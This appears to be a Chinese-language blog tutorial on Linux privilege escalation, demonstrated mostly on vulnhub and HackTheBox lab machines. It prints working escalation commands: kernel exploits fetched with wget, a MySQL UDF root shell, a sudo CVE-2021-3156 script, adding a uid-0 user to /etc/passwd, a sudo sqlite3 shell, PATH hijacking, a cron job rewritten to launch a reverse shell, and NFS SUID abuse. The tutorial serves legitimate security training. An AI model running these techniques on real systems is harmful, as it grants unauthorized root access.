Linux 提权杂记
Linux 提权杂记
0x00 前言
linux提权按类型划分可以归类为以下几种:
内核漏洞利用
root权限运行程序
组件服务
弱/重复/明文密码
配置错误
suid/Guid配置错误
滥用sudo权限
root运行但普通用户可写的脚本
PATH提权
定时任务
nfs
在演示上述漏洞之前我们需要了解
linux权限划分和什么是提权?
0x01 什么是提权?
权限提升是利用操作系统或软件应用程序中的错误、设计缺陷或配置疏忽来获得对通常不受应用程序或用户保护的资源的提升访问权限的行为。结果是,具有比应用程序开发人员或系统管理员预期更多权限的应用程序可以执行未经授权的操作。
系统上的root账号拥有对操作系统的完全管理级别访问权限,我们有时候渗透过程获取的linux账号可能是普通用户权限对操作系统的操作有限。因此我们需要想法设法把自身权限提高来进行其他操作。
0x02 Linux权限划分
1.权限抽象
一个完整的权限管理体系,要有合理的抽象。这里就包括对用户、进程、文件、内存、系统调用等抽象。
至于什么是抽象?我是这么理解,可以把抽象想象成一个根据类别分化的领域。
比如用户的抽象可以想象成用户的领域,这个领域里用户会根据类别或其他特征进行分化。同时用户的领域是可以在系统的领域里面。领域不只是单独存在还可以像套娃一样的存在。
现在,我们来说一下用户和组。Linux是一个多用户平台,允许多个用户同时登录系统工作。Linux将用户抽象成了账号,账号可以登录系统,比如通过登录名+密码的方式登录,或者通过证书的方式登录。
但是为了方便每个用户的权限,Linux还支持组(Group)账户。组账户时多个账户的集合,组可以为成员们分配某一类权限。每个用户可以在多个组,这样就可以利用组给用户快速分配权限。
组的概念有点像微信群。一个用户可以在多个群中,用户可以在A群获取股票的信息,同时又在B群获取期货的信息。这都不会冲。如果两个群的内容都相同时,也不会对用户造成任何的冲突。
每个组管理员可以理解为微信群群主,对自己群内的人员有一定的管理权限,root管理员可以理解为微信开发人员对微信有完全控制的权限。
此外,Linux还对文件进行了权限抽象(注意目录也是一种文件)。Linux中一个文件可以设置下面3种权限:
1.读权限(
r:Read):控制读取文件2.写权限(
w:Write):控制写入文件‘3.执行权限(
x:Execute):控制将文件执行,比如脚本、应用程序如果一个脚本能正常运行那么它一定会用
执行权限和读权限。

然后每个文件又可以从3个维度去配置上诉的3种权限:
1.
用户维度。每个文件所属1个用户,用户维度配置的rwx在用户维度生效2.
组维度。每个文件可以所属1个分组,组维度配置的rwx在组维度生效3.
全部用户维度。设置对所有用户的权限一个文件设置为组权限就代表它可以被
主组(初始组)内的成员进行rwx操作,如果是附加组需要登录后切换组才能进行操作。

图上有两个文件权限,分别是drwxr-xr-x和-rw-r--r--
第1位:表示文档类型,取值常见的有:
d 表示文件夹``- 表示文件`
1 表示软连接s 表示套接字p 表示管道第
2-4位:按照顺序(位置顺序是不会变的),分别代表:读(r)权限写(w)权限执行(x)权限- 代表无权限第
5-7位同理第
8-10位同理权限分配种,均是
rwx的三个参数组合,且位置顺序不会变化,没有相对应权限就用-代替但是每个位置的权限代表不同领域,以顺序为例:
1代表文件类型2-4代表文件拥有者权限5-7代表同组用户的权限8-10代表其他用户,即非同组、非文件所有者外的权限我们有时候使用
chmod赋予文件777权限,其实就是赋予rwxrwxrwx权限,至于为什么rwx会转成7?Linux每个文件都包含控制权的8位数据。在二进制形式中,000代表不授予任何形式权限当我们设置
r权限时,它会向数据添加4位,使其成为100(二进制格式),转成十进制为4。设置w权限时将在数据中添加2位,二进制为010,十进制为2。最后设置x权限时数据会添加1位,二进制为001,十进制为1。简而言之:r相当于4w相当于2x相当于1至于为什么
r权限会是4呢,那就是要看linux权限排列0:无权限1:执行2:写3:写入和执行4:阅读5:读取和执行6:读写7:读、写和执行
现在我们看到指令权限分化和passwd权限分化
id指令

uid是用户idgid是组idgroups后面是每个分组和分组的id,第一个组是初始组,后面是附加组
/etc/passwd文件
/etc/passwd这个文件存储了所有用户信息,如图所示

现在我们需要了解每一个文件参数代表的意思,拿root举例
1 | root:x:0:0:root:/root:/bin/bash |
root代表用户名x代表密码0代表uid0代表gidroot代表user id信息root代表home目录/bin/bash代表shell路径现在了解了
什么是提权和权限分化那么可以开始提权演示了。
参考链接
https://www.maketecheasier.com/file-permissions-what-does-chmod-777-means/
0x03 内核利用
各种Linux内核版本都存在内核级漏洞利用。一个非常著名的例子就是Dirty COW (CVE-2016-5195),俗称脏牛漏洞。该漏洞利用内核中的漏洞以root权限执行代码。
有些内核漏洞只需要下载、编译、运行就可以完成一次攻击,甚是简单。但是有一些内核漏洞需要修改payload没那么简单,需要微调。但是总体来说内核漏洞提权是一个普遍存在的方式。
注意:利用内核漏洞有可能导致系统不稳定,因此在针对生产系统运行内核漏洞需要注意
演示
环境环境:ubuntu 14
在演示过程我使用内核漏洞时经常导致系统奔溃,所以在实际情况使用内核漏洞提权可称为下下策
uname -a查询内核信息

查询到内核信息后还可以查询lsb-release,这个lsb-release不是所有Linux都有的。

使用Google或Exploit-db查询版本内核相关漏洞

将exploits下载下来,开始编译
1 | gcc -o 37292 37292.c |
将编译的poc上传到目标
然后赋予权限运行
1 | wget http://10.10.10.10/37292 |

0x04 root权限运行程序
root权限运行程序这个故名思意就是以root权限运行程序,比如mysql、Redis等。我这里使用mysql作为演示,因为这个很经典。
演示
环境: vulnhub-Raven
使用ps -aux | grep mysql搜索mysql服务
1 | michael@Raven:~$ ps -aux | grep mysql |
当前mysql是以root权限运行
使用udf动态库进行提权
将1518.c编译成1518.so
1 | gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc |
登录mysql服务
需要注意mysql的root跟linux的root是两回事

登录mysql后执行下面命令
命令意思分别是:
- 选择
mysql库 - 创建
foo表,添加blob行 - 加载
/tmp/1518.so文件 - 转储文件到
/usr/lib/mysql/plugin/1518.so - 创建
do_system函数,调用do_system函数运行命令
1 | use mysql; |

运行创建的命令就可以获取root权限
1 | /tmp/stef -p |
参考链接
https://www.hackingarticles.in/hack-the-raven-walkthrough-ctf-challenge/
https://steflan-security.com/linux-privilege-escalation-exploiting-user-defined-functions/
0x05 组件服务
组件服务提权包含一些系统自带的软件和用户自行安装的软件都在其中。
我采用sudo(CVE-2021-3156)漏洞进行演示
演示
环境:vulnhub-devguru
使用脚本获取Linux软件版本

使用Google或exploit-db查询相关版本漏洞

将获取的脚本上传到目标
运行脚本
1 | python exploit_nss.py |

当然不是所有组件漏洞都可以如此完美运行,提权的过程就如同人生充满了意外。
0x06 弱/重复/明文密码
如果进入服务时,我们拥有一个或多个密码,可以先尝试这些密码能否帮助我们获取更高权限。
如果不能,那我们可以检测连接数据库的文件(config.php或类似文件)。或者检查dockerfile等文件脚本。
演示
环境:hackthebox-Unbalanced
使用linpeas.sh搜索服务敏感信息
看到root文件下的sh,但是我们有查看的权限

查看/root/pihole_config.sh

尝试密码是否能使用

参考链接
https://y4th0ts.medium.com/unbalanced-hackthebox-c8d086b6f524
0x07 配置错误
Linux中提权所利用的配置错误,很多时候都是利用权限配置错误。比如/etc/passwd文件权限配置错误,给普通用户拥有对其文件写入的权限。或者普通用户拥有对/etc/shadow文件读取权限等。
演示
环境:ubuntu 16
查看/etc/passwd权限配置
1 | ls -la /etc/passwd |

当前用户拥有对passwd文件的rwx权限,直接添加用户到passwd即可提权。
使用openssl创建密码,有时候linux系统禁止空密码登录,因此我们最好是创建拥有密码的用户。
1 | test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123 |
写入/etc/passwd
1 | echo "user:$1$user$TTjQ5OzFhMNL/GYeI9xq9.:0:0:root:/root:/bin/bash" >> /etc/passwd |
我们登录user用户就会切换到root权限

0x08 滥用sudo权限
sudo是一个类unix系统软件,它使用户能够以其他用户的安全权限运行程序,默认情况下是root权限。sudo提权在ctf环境中也是经常出现,不过现实实际情况比较小。
演示
环境:vulnhub-devguru
sudo -l查看sudo是否存在滥用行为

sqlite3无需密码即可调用root权限
1 | sudo -u#-1 sqlite3 /dev/null '.shell /bin/bash' |

0x09 suid/sgid 可执行文件
SUID(set user ID)和SGID(set group ID)是可以对可执行文件设置的两个特殊权限,这些权限允许正在执行的文件以所有者或组的权限执行。suid和sgid标志只对可执行二进制文件有影响,对脚本(如:bash、python、perl)是没有影响。
suid: 可执行文件的特殊文件权限。这使其用户都能够执行该文件。包括非文件所有者(组)以外的人。是ssgid: 这也是可执行文件的特殊权限,不同的是其他用户可以继承组所有者的有效gid。
演示
环境:vulnhub-HaWordy
枚举可执行的二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |

这么多二进制文件,如果想知道哪些是可以利用提权。这就需要google以及经验了,或者使用一些脚本来获取可利用的二进制文件。
根据查询结果发现wget、cp都是可以利用来提权的
查看/etc/passwd文件信息,把文件信息都复制到kali上
使用openssl创建用户,加到passwd
1 | test@ubuntu:/tmp$ openssl passwd -1 -salt user passwd123 |

使用wget远程下载password到/etc上
1 | wget http://10.10.10.10/passwd -O /etc/passwd |
使用user就可以变成root权限

0x0A root运行但普通用户可写的脚本
标题写的很明白,好像没什么可说的…
演示
环境:vulnhub-SkyDogCTF
使用命令快速搜索可写的文件
1 | find / -writable -user root -type f 2>/dev/null >>/tmp/find |

/lib/log/sanitizer.py属于root权限,但是普通用户可写。至于其他权限还需要去查看
1 | wernerbrandes@skydogctf:/tmp$ ls -la /lib/log/sanitizer.py |
我们拥有sanitizer.py的rwx权限,现在要利用sanitizer.py进行提权
1 |
|
运行脚本

0x0B PATH提权
路径提权是一个经典的提权方式,在各种ctf环境你会经常遇到这种类型的提权。
演示
环境:vulnhub-nullbyte
寻找可利用的二进制文件
1 | find / -perm -u=s -type f 2>/dev/null |

/var/www/backup/procwatch比较像是备份使用的文件,运行看下
1 | ramses@NullByte:~$ /var/www/backup/procwatch |
只是执行ps命令,没事。使用$PATH可以获取procwatch脚本的权限
1 | echo "/bin/sh" > ps |
重新执行/var/www/backup/procwatch

0x0C 定时任务
Linux定时任务称为crontab,用来以固定时间、日期或间隔定时运行任务。
演示
环境:vulnhub-sar
查看定时任务
1 | cat /etc/crontab |

finally.sh会每隔5分钟运行一次
现在我们查看一下finally.sh脚本内容
1 | $cat /var/www/html/./finally.sh |
finally.sh调用write.sh,有点像套娃
查看write.sh
1 | $cat write.sh |
创建一个gateway文件就结束了
查看两个脚本的权限

finally.sh我们无法修改,但是write.sh可以修改
1 | echo "php ./php-reverse-shell.php" > write.sh |
这时候kali开启nc等待5分钟就可以获取shell

0x0D nfs
网络文件共享(NFS)是一种协议,允许他人通过网络与其他linux客户端共享文件,同时还需要其他人对文件进行权限修改。
演示
环境:vulnhub-0rcus
查看端口开放
1 | netstat -tunlp |

目标开放了很多端口,其中就包括nfs使用的2049端口
创建test.c
1 | int main(void){ |
上传test.c到目标,然后使用gcc在目标服务器上编译

在kali上挂载nfs,如果没安装nfs-common是无法挂载
1 | mount -t nfs 10.10.10.10:/tmp /tmp |
回到目标服务器
1 | cd /tmp |

0xE 工具
利用工具进行辅助提权,会让我们干活事半功倍。但是如果仔细介绍工具感觉又可以水一篇文章,所以我会简单的一句话概况。
1.LinPEAS
linpeas是一个不错寻找敏感(password)信息的提权脚本
https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS
2.LinEnum
LinEnum会服务器内基本提权需要的信息都会枚举出来
https://github.com/rebootuser/LinEnum
3.linux-exploit-suggester
linux-exploit-suggester根据软件版本进行cve漏洞判断,就像一些厂商扫描器判断漏洞那样子。你懂得~
0x0F 结言
上面的提权演示由相当一部分是属于重复类型。比如root权限运行的mysql就属于组件服务和root权限运行程序的提权方式。不过没关系,上面这些演示是为了更了解linux提权方式。
推荐一下vulnhub靶机提权练习,如果想自己练习提权可以点击链接自己寻找。